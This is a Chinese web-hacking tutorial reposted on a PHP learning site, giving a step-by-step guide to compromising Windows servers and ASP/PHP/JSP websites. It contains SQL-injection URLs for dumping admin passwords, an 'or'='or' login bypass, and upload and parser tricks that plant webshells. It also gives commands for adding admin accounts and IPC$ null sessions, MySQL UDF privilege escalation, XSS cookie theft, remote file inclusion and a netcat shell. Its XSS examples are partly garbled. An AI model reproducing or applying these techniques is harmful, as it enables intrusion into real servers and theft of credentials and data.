网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

CracK Web-葵花宝典 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] CracK Web-葵花宝典 QQ:466196038今天有时间给大家写这么一篇文章 1, 阅读此安全文献能够增进对网络安全的认识,开阔自己的视野,并对WEB安全应用层有一定的了解 。2,系列章节主要包括...

今天有时间给大家写这么一篇文章    

 1,  阅读此安全文献能够增进对网络安全的认识,开阔自己的视野,并对WEB安全应用层有一定的了解 。

 2,系列章节主要包括WEB常见攻击手段,WEB网站架构漏洞分析,WEB服务器架构分析等,以此对应用层的安全有一定认知,也利于自身防范架设的服务器安全。

 

   开场白: 没有绝对安全的电脑,没有绝对安全的服务器,越化作一阵风,去鸣听这段久违的梦。


   1章    内容:端口 命令


1,端口,这个很让人理解的字眼,电脑的端口一共有65535个,但实际用到的却只有几十个,常见的端口

3389,4899,135,445,5900,1433,3306,1521,21,80,23,25,53等等,端口就像一座房子的烟囱一样,如果打开了,就可能会面临着一些风险,如3389,这是远程桌面的端口,他主要用于两个方面,一是实现网络交互的过程,一台电脑连接到另外一台电脑的桌面,第二个方面就是被黑客的提权利用,命令是MSTSC,而3389端口入侵正是实现了这样的功能,而3389针对的是WINXP的系统空密码,也就是说,XP系统的用户如果密码为空,3389端口也打开的情况下,如果被黑客扫描到,那么就可以远程被利用,黑客通过IP地址,远程连接,并在窗口输入administrators, 密码为空,直接确定,就可以看到对方的桌面了,但3389有个弊端,如果对方发现,移动了鼠标,那么远程桌面将关闭。而空密码与空连接就是不同的方式了,空连接是IPC空连接 ,利用格式为:net use \\ip\ipc$ "" /user:"admin", 意思就是密码都空的时候对目标地址进行空连接,如果成功,那么就可以实现一个映射的功能 net use z: \\ip\c$,这就是远程映射的功能,把目标服务器的C盘映射为本地的Z盘,对方的盘符,我们在本地的Z盘可以访问对方C的内容了。开启3389服务器就是在系统设置里的远程,允许用户远程连接打勾就可以了。

  4899,4899端口其实跟3389的模式是差不多的,而4899是通过RAMIN影子服务端进行连接,4899通常是针对空密码的用户,如果漏洞存在,可以通过影子服务端远程连接,实现远程控制的功能。

  135,135端口准确的说他是一个溢出端口,如果在网吧,我们可以使用命令 NETSTAT -AN ,这个命令是查看开放了哪些端口,而一般情况下,网吧都开放了135与445端口,而不怀好意的人就会使用远程控制软件生成木马,内网映射成功后,就可以批量的进行传马到其他机器,这样很多电脑都因此成为了肉鸡

  5900,5900端口一般针对国外服务器,攻击者可以使用VNC连接器对5900国外服务器进行批量检测,这个方式要用到VPN代理技术,而扫描方式通常会选择SYN,省去了TCP延时的问题

  1433,想必大家对1433这个端口很熟悉,没错,他是SQL SERVER的端口,而1433通常去寻找SA的弱口令进行检测,1433连接工具就发挥了这个作用,利用者通过得到的密码文件,输入用户名与密码以及数据库的名字,远程连接对方的数据库,接着执行SQL提权命令,成功达到服务器侵入的目的。

  3306, MYSQL的端口,漏洞存放目录一般为conn.asp config.php common.inc.php 里面存在网站的根目录下,利用者得到了此数据,一般有两个方向,1,MYSQL脱库,2,MYSQL提权 ,MYSQL脱库是针对的论坛服务器,会员数据,利用MYSQL远程连接数据库,一般是找到SELECT * FROM MEMBERS表的位置,然后导出文件SQL到本地,里面存放的就是会员的详细数据了。而MYSQL提权就是提升权限,需要导注册表的DLL文件,然后执行SQL命令增加一个管理组,而一般MYSQL数据库大于5.0时,导出就必须是安装目录了,小于5,0的话可以导出到 :c:/windows/udf.dll,因为后期版本官方也做了一些限制!

  命令也是同样重要的,如WIN与LINUX的系统命令,MS-DOS环境下的命令,大概的命令要记住

  WIN:  NET USER ADD ADD /ADD NET LOCALGROUP ADMINISTRATORS ADD /ADD 加入管理组帐号

  WMIC PROCESS 查看当前系统进程详细路径

  ARP -A 查看当前的系统MAC地址

  TRACERT -D 追踪路由  

  PING  测试命令

  systeminfo 查看系统配置信息

  md ren rd 新建目录,目录改名,删除目录

  NETSTAT -V 正在进行的工作 -A 查看当前监听的端口 -N 正在进行的连接  -AN 查看开放了哪些端口

   AT 计划任务


   二章      内容: WEB脚本安全

  WEB脚本安全,也是网络安全的一个重中之重,如何认识脚本安全呢?

  首先我们得对网站的类型与架构要有所了解,如ASP网站,PHP网站,JSP网站,ASPX网站,CGI等等

  一般安全性通常为:ASP-->PHP-->ASPX-->JSP--<

  可以看出,ASP的安全性是最低的,我们都知道一个网站的程序是程序员设计的,那么程序设计中

  有可能会出现漏洞,一旦有漏洞,就会被一些人成功利用,这就是WEB脚本安全,学习脚本安全对于

  自身对WEB安全有一定认识,并熟练掌握WEB攻防相关技术。

 

  服务器管理员把网站架设到外网,实现了多人访问的目的,那么服务器是开着,既然有外部网络通讯这一功能

,那么脚本安全就诞生了,一个技术诞生也意味着另外一个技术的衍生,比如汇编,反汇编,同样的道理,利用者通过

外部网站所架设的虚拟站点进行逐一检测,最终发现漏洞。

 

  原理:通过程序设计漏洞远程写入脚本木马到服务器网站根目录下,接着连接外部路径地址,形成网络后门。

  优点:服务器单向渗透并指于异常困难,而脚本安全就取而代之了,通过脚本得到SHELL的权限后再去执行服务器提升这样一个途径。

 ASP 网站漏洞分析:

 

 一般ASP的网站 应用于小型公司企业所需求

 常见漏洞:SQL注入 ,爆库,目录遍历,越权访问,上传,弱密,社会工程学,XSS , 编辑器, COOKIE, OR,FTP,穷举

 SQL漏洞原因:变量过滤不严,

 爆库是由于没有写容错代码

 注入测试方法:AND 1=1 AND 1=2  前提是动态网站,而非静态

 在网站上打开一个新闻的动态页面,然后打一‘提交

 http://www.baidu.com/asp/asp?id=30%20and%201=1  正常

 http://www.baidu.com/asp/asp?id=30%20and%201=2  错误

 存在注入 ,工具注入,以及手工注入都是可以的

 需要进行猜表,表名,列名,以及用户,最后获得密码

 密码一般都是16进制加密,需要到专门的MD5网站进行解密

 爆库,一般分为两种,一种是CONN爆库  %5C爆库  %23爆库

 CONN爆库是由于管理员没有阻止外部人员对此文件的访问

 导致可以访问:http://www.adminx.com/admin/conn.asp  如果报错一定会出现数据库的具体路径

               http://www.adminx.com/inc/config.asp  一般是禁止的

               http://www.adminx.com/inc/conn.asp  一般为空白

  %5C是二级目录的爆库方式

 格式为:http://www.admin.com/asp/uid?id=1   正常页面

         http://www.admin.com/asp/%5cuid?id=1  如果成功会"弹出数据库下载"

 

 %23是针对数据库爆库

 我们知道,数据库的表达格式是www.xxx.com/data  www.xxx.com/data   www.xxx.com/datas

 通常这些都是403禁止的,假如我们如果知道数据库的真实下载地址

 表达式:http://www.xxx.com/data s/#xin_wenku.mdb   访问后会显示禁止页面

         http://www.xxx.com/data s/%23xin_wenku.mdb  访问后会弹出MDB数据库下载

 

 目录遍历就是管理员对网站根目录下的子目录权限访问没有做限制

导致利用者可以访问到这些目录,从而对下一步收集信息作为必要条件

 表达式:http:www.xxx.com/manage/../ 目录遍历,可以看到很多目录

  越权访问,就是管理员对目录文件下的后台操作文件页面的权限没做限制,导致利用者可以以匿名的方式访问

到系统后台的内容,这样是很危险的,利用者有时候四俩薄千金就侵入了一个站点

  表达式:http://www.xxx.com/manage/asp/edit.moneyasp?id=#  

  可能出现的页面: 新闻发布页面,管理员添加页面,会员列表页面,网站布局页面等

  上传漏洞 ,也就是网站的图片上传点,有的上传地址很隐秘,本来是用来用户组上传图片,或者头像,或者是公司的PDF,XLS,DOC文件用的,但有的人却用来利用

常见的上传漏洞页面有很多 ,方法有:GIF89A  图片木马伪装, 一句话漏洞 ,IIS解析

 

  表达式:http://www.xxx.com/include/upload.jsp      http://www.com/include_admin/upload.asp     http://www.com/upload_class.asp

 

例如利用者把上传页面的源码保存到本地记事本,然后在第一行写入GIF89A,再进行图片提交

或者使用一句话木马的方式合并到图片中,上传 比如之前早期的NGINX漏洞就是利用的IIS双向解析功能实现

表达式:http://www.xxx.com/php/ass/1.jpg/先访问这个图片地址 ,如果能正常显示,再合访问0x.php  

        http://www.xxx.com/php/ass/1.jpg/0x.php 会出现空白,你会发现什么也没有,其实是后门成功了!

通过一句话木马PHP客户端连接,输入密码就可以上传脚本木马到网站根目录获得WEBSHELL的权限

解析表达式:1.asp;.jpg 1.jpg.asp  2.asa;.gif  0x;x.jpg;0x;y.jpg

意思就是末尾虽然是图片的格式,但他会通过ASP,ASA这样的方式去执行这个图片,其实相当于执行了我们的脚本木马了!

 

 弱密码,有的网站,管理员一般把密码设置得过于简单化,如123,456,123456 ADMIN ADMIN888 ADMIN123 这样的密码很可能被黑客攻破

导致网站的安全性受到威胁!


社会工程学,这个是相当强大的一门技术,他需要掌握与洞察它人的心理状态,其实意为'心理破解者",如破解一个邮箱,他需要先收集这个主人一切可利用的资料,通过分析,分析这个人的日常状态,日常习惯,等等最后破译密码!很多书店也有卖这样的书籍,价格一般都在30-40元左右!


XSS, 一般分别XSS跨站攻击,以及XSS盲打  它是一种被动式攻击

 基本表达式:< >alert("1")</ >   弹出消息对话框:1

           < >alert(document.cookie)</ >  弹出COOKIE值

          < >window.open("http://baidu.com")</ >  打开百度网站


 跨站表达式:www.xxx.com/asp/asp?id=">< >alert("0")</ >

 挂马跨站表达式 www.xxx.com/asp/asp?id=< src="url">0x</ > 需要把他转换为HEX格式

 框架嵌入动态表达式:www.xxx.com/asp/asp?id=< src="url">0x</ ><marquee>hello</marquee>


 而盲打技术,是针对自己写一个JS代码 ,通过留言页面,管理员一般会审核这样的信息,当他点击后,COOKIE就被自动保存到我们的后门中

 表达式:http://www.xxx.com/cookie/cookie.asp

 

 编辑器漏洞,应该有出现的时间很早 ,一般分为EWEB与FCKEDITOR 漏洞

 编辑器后台一般为 ewebeditor/admin_login.asp

ewebeditor/ewebeditor.aspx ewebeditor/ewebeditor.htm ewebeditor/ewebeditor.asp?id=1  ewebeditor/admin_style.asp

ewebeditor/admin/db/#ewebeditor.mdb ,ewebeditor/db/#ewebedior1033.mdb

 密码一般为 ADMIN888 ADMIN  ADMIN999

 

 FCKEDITOR 编辑器的漏洞

 

 利用的方式也很多

  PHP CMS 就可以利用编辑器上传获得权限

 HTTP://WWW.XXX.COM/ADMIN/FCKEDITOR/../.../../

 COOKIS中转,这个漏洞的形成是因为我们在SQL注入失败的情况下,所采取的另外一种注入方式,简称COOKIE注入

 准备工具:小旋风ASP环境 ,注入,猜表工具

 首先将环境端口设置为82或者81

 接着找一个页面生成127页面

 对比表达式:http://www.xxx.com/asp/aasp?id=1   注入失败

             http://127.0.0.1:81/ROOT地址/POST提交值   可以注入

  OR漏洞 ,熟知的 'or'='or'  漏洞

  针对一些ASP公司网站的后台管理系统,用户密码均输入'or'='or'

  如果成功,可以直接进入后台

  USER:‘OR’=‘OR’

  NAME: ‘OR’=‘OR’

 

  FTP的漏洞一般出现于2个特点  : 匿名访问 ,弱密码

  表达式:ftp://www.xxx.com 匿名访问,直接进入

  弱密码:ftp:www.cc.com user:ftp pass:ftp@ftp.net 输入密码后进入

  如在FTP里放入一个TXT ,内容写为1

  那么访问时,也可以 http:wwww.cc.com/1.txt

  穷举法针对系统爆破工程 ,一般分别DIC文件字典的爆破方式,收集很多现成的字典,对某个邮箱,或者某个QQ的密码或者某个网站的后台,

 进行指定破解,时间耗费很长!

  php 网站漏洞分析

 

  一般漏洞首先就是注入了,

  表示式:http://www.ccc.com/asp/php?id=10%20order%20by%201  猜字段

        http://www.ccc.com/asp/php?id=10%20order%20by%2018  正常

        http://www.ccc.com/asp/php?id=10%20order%20by%2020  错误

 可以判断字段19个,依次拼写19个字段在地址中 ,3个常用变量,data () version user()

3个函数转换要知道 ,c:/win.ini  load_file(), 注射时还可以使用HEX(MID函数进行读路径)

路径表达式:d:/wwwroot/php/uc/config.php

  表达式:http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19  页面显示正常既为成功

      http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin 如果错误页面找不到

    http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 页面正常既为找到,一般会显示出几个数字,如3,6,8,等字样,我们一般就取3与6

http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user   查看用户: root@localhost
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 查看数据库的版本,大于5,0可以爆库

 http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,databse(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user  查看数据库的名字

http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,user,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user  页面正常既为猜到用户与密码,反之会返回错误404

http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,load_file(读取INI地址),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user

http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,HEX(MID),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user

 

还有就是一些系统源码的ODAY,比如动网论坛,动易,老Y文章系统,动科,风讯,DEDECMS织梦,帝国CMS

等等,一般遇到这类的漏洞,有的是EXP注射,有的则需要GET SHELL,自己搭建好PHP环境,接着在DOS窗口里输入命令执行相关漏洞,如开源工具MSF ,就是集成的溢出平台,需要哪个直接通过命令调用就可以了 命令为:show exploits


除此之外,还有PHP文件包含漏洞

表达格式:http://www.a.com/asp/id=http://www.b.com/1.php

也就是说在A点取得的权限,通过源码系统,之间到B点进行读取,这样的话,B点就被利用了,我们就这样获得了B的权限

但前提是在A点先取得权限!

包括ASPX,出现的有时候会出现一个CER表单漏洞,或者是万能密码漏洞


  JSP 漏洞分析


 JSP一般用于,银行,新闻门户站,安全性在外人看来相对较高,但JSP安全性虽然最高,但要说明的是,在提权技术里,JSP权限却是最大的,而相对于不太安全的ASP网站,ASP匿名的权限却降低了!MYSQL有时候也会出现降权!

 

 漏洞一般存在于JS校检未过滤

 导致上传

 二级域名上传漏洞

 表达式:http:www.xx.gov.cn  http://ad.xx.gov.cn/upload.asp    http://svx.xx.gov.com/upload.php

 <form>

 <form action="sadd.jsp" method="post"><br/>

 <input type="file" ><br/>

 <input type="submit" value="go!">

  </form>

  后台管理权限技术

  假如我们通过一个很简单的密码测试进入了自己搭建的网站后台,这时候我们需要获得WEBSHELL权限的时候,就可以通过各种途径了,方法有很多

 例如数据库备份,抓包改包,搭建地址两次上传,解析,直接上传,等等

  允许的格式:gif,bmp,jpg

  禁止的格式:cer,asp,php,jsp,aspx

  旁注漏洞的诞生,也就是网站服务器上,捆绑了很多域名,有购物网,人才网,新闻网,我们目标是新闻网,而新闻网通过测试并未发现很多漏洞,这时候我们就可以人才网入手,去检测,最终通过跨目录,或者ASPX IIS 权限读写的方式获得新闻网的权限


  C段,也就是可以IP地址来表示 ,一个IP段 210.44.123.1-219.44.123.255 之间的255台机器,比如,利用者的目标是210,44,123,5这个地址

这时候我们只需要在这个段里检测成功一台服务器后,在服务器里执行嗅探,如果对方目标未装防火墙,则会被嗅探到,这就是服务器分离状态下的利用方式


表达式: a : 》   b:  》

 

    -- a  目标服务器

    b++   在B段里找一台同网段的服务器

    b++ =a  最终嗅到数据,最后指向目标A

 

 而劫持,与欺骗,都是在cain 与NET FUCER里面完成的

 劫持,一般分为域名劫持,以及ARP劫持

 一般是在同网段服务器里与C段一样的方式,但不同的是,他运用的是劫持

 也就是发送欺骗流量包给目标服务器,服务器被欺骗后主页文件就自动被改成我们想要的内容了。

 而欺骗,一般是ARP,或者是DNS欺骗,ARP欺骗主要是欺骗目标机器的3389 HOST文件,文本格式

 利用C32反汇编工具打开可以清楚的看到在地址的后边,用户与密码就泄露了

  服务器提权技术

  在自行搭建的SHELL网站里,如果不会提权,那么就无法进行下一步

  所以我们需要学习提权技术

  而提权技术一般分别  WIN LINUX提权

  常用工具:巴西烤肉 ,PR大杀器 ,NC监听,LCX转发 ,WIN2003内核溢出 ,IIS6,0, MS,EXE ,SHIFT后门

  提权的步骤

  1,检查网站的权限,如ASP匿名权限 ,是否支持ASPX

  2,检查WC组件是否支持

  3,一般来说,回收站与TEMP目录权限是比较大的

  4,检查CONFIG,ASP,CONN。ASP相关密码

  5,检查FXP 传输工具的文件

  5,检查是否安装PCANYWHERE

  6,是否安装SERTU FTP服务器

  7,检查3389端口是否开启

  8,检查目录文件程序是否可以替换

  9,检查RAMIN密码是否存在

  10,检查检查是否支持JSP权限

  这是外网的方式,而遇到内网的时候,则需要转发 ,首先得本地监听,再转发到3389,利用本地127地址:监听端口去连接对方3389

NC反弹命令: C:/winodws/nc.exe -l -p 5858 -t -e c:/windows/cmd.exe  
还有一个就是SHELL CODE ,牛人的道路从这里启航!
一个真正懂安全的人,
会说自己是最有安全感!
一个真正不懂安全的人,
会说自己没有安全可言!

 
                                                                       好了就写到这里,希望大家喜欢这篇文章!

                                                                              多多支持, 明天会更好!
QQ:466196038

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论